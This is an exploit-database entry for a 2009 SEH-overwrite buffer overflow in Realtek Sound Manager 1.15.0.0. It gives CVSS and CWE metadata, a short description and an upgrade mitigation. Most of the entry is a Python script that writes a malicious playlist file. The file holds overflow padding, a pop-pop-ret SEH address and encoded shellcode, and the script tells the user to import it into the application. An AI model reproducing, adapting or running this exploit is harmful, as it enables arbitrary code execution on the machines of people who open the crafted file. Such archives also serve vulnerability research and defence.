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vendor:
Realtek Sound Manager
by:
shinnai
7.8
CVSS
HIGH
Seh Overwrite Exploit
119
CWE
Product Name: Realtek Sound Manager
Affected Version From: 1.15.0.0
Affected Version To: 1.15.0.0
Patch Exists: YES
Related CWE: N/A
CPE: a:realtek:realtek_sound_manager
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2009

Realtek Sound Manager 1.15.0.0 (PlayList) Seh Overwrite Exploit

This exploit is a buffer overflow vulnerability in Realtek Sound Manager 1.15.0.0. It allows an attacker to overwrite the SEH handler and execute arbitrary code. The exploit was tested on Windows XP SP2 (Fr).

Mitigation:

Upgrade to the latest version of Realtek Sound Manager.
Source

Exploit-DB raw data:

#!/usr/bin/python
print "**************************************************************************"
print "[*] Realtek Sound Manager 1.15.0.0 (PlayList) Seh Overwrite Exploit\n"
print "[*] Author: shinnai"
print "[*] Seh Exploitation : His0k4"
print "[*] Tested on: Windows XP SP2 (Fr)\n"
print "[*] Greetings to: All friends & Muslims HacKerS (DZ)"
print "**************************************************************************"

buff = "\x41" * 200

next_seh = "\xEB\x06\x90\x90"

seh = "\xBE\x2E\xC6\x72" #pop pop ret  msacm32.drv

buff2 = "\x44"*1989

shellcode = (
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
    "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"
    "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"
    "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
    "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
    "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
    "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
    "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"
    "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"
    "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
    "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
    "\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"
    "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"
    "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"
    "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
    "\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"
    "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
    "\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"
    )

exploit = buff + next_seh + seh + shellcode + buff2

try:
    out_file = open("exploit.pla",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit File Created!\nNow import it from Realtek"
except:
    print "Error"

# milw0rm.com [2009-03-09]